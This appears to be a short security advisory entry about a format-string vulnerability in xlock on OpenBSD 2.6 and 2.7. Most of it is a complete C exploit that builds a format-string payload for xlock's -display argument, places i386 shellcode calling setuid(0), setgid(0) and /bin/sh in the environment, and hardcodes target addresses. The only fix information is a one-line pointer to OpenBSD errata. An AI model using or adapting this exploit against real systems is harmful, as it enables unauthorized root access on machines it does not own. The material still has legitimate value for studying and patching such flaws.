COMMAND
	    xlock
SYSTEMS AFFECTED
	    OpenBSD 2.6, 2.7
PROBLEM
	    Noir Desir posted following.
	
	    /*
	    OpenBSD 2.6/2.7 xlock exploit by noir
	    [email protected]
	    tested only on OpenBSD/i386 2.6
	    thanks:
	    [email protected] for support!
	    greets: caddis <[email protected]> orginal chpass exploit
	 	    bind, CronoS, dustdvl, ppl from defcon7, gsu-linux staff
		    TESO, ADM, Lam3rz, SSG
	    */
	    #include <stdio.h>
	    char bsd_shellcode[] =
	    "\x31\xc0\x50\x50\xb0\x17\xcd\x80"// setuid(0)
	    "\x31\xc0\x50\x50\xb0\xb5\xcd\x80"//setgid(0)
	    "\xeb\x16\x5e\x31\xc0\x8d\x0e\x89"
	    "\x4e\x08\x89\x46\x0c\x8d\x4e\x08"
	    "\x50\x51\x56\x50\xb0\x3b\xcd\x80"
	    "\xe8\xe5\xff\xff\xff/bin/sh";
	    struct platform {
	        char *name;
	        unsigned short count;
	        unsigned long dest_addr;
	        unsigned long shell_addr;
	        char *shellcode;
	    };
	    struct platform targets[3] =
	    {
	        { "OpenBSD 2.6 i386       ", 246, 0xdfbfd4a0, 0xdfbfdde0, bsd_shellcode },
	        { "OpenBSD 2.7 i386       ", 246, 0xaabbccdd, 0xaabbccdd, bsd_shellcode },
	        { NULL, 0, 0, 0, NULL }
	    };
	    char jmpcode[129];
	    char fmt_string[2000];
	    char *args[] = { "xlock", "-display", fmt_string, NULL };
	    char *envs[] = { jmpcode, NULL };
	    int main(int argc, char *argv[])
	    {
	        char *p;
	        int x, len = 0;
	        struct platform *target;
	        unsigned short low, high;
	        unsigned long shell_addr[2], dest_addr[2];
	        target = &targets[0];
	        memset(jmpcode, 0x90, sizeof(jmpcode));
	        strcpy(jmpcode + sizeof(jmpcode) - strlen(target->shellcode), target->shellcode);
	        shell_addr[0] = (target->shell_addr & 0xffff0000) >> 16;
	        shell_addr[1] =  target->shell_addr & 0xffff;
	    memset(fmt_string, 0x00, sizeof(fmt_string));
	    for (x = 17; x < target->count; x++) {
	            strcat(fmt_string, "%8x");
	            len += 8;
	        }
	    if (shell_addr[1] > shell_addr[0]) {
	            dest_addr[0] = target->dest_addr+2;
	            dest_addr[1] = target->dest_addr;
	            low  = shell_addr[0] - len;
	            high = shell_addr[1] - low - len;
	        } else {
	            dest_addr[0] = target->dest_addr;
	            dest_addr[1] = target->dest_addr+2;
	            low  = shell_addr[1] - len;
	            high = shell_addr[0] - low - len;
	        }
	        *(long *)&fmt_string[0] =  0x41;
	        *(long *)&fmt_string[1]  = 0x11111111;
	        *(long *)&fmt_string[5]  = dest_addr[0];
	        *(long *)&fmt_string[9]  = 0x11111111;
	        *(long *)&fmt_string[13] = dest_addr[1];
	        p = fmt_string + strlen(fmt_string);
	        sprintf(p, "%%%dd%%hn%%%dd%%hn", low, high);
	        execve("/usr/X11R6/bin/xlock", args, envs);
	        perror("execve");
	    }
	
SOLUTION
	    http://www.openbsd.org/security.html#27  has  a  big note pointing
	    to the errata entry for months.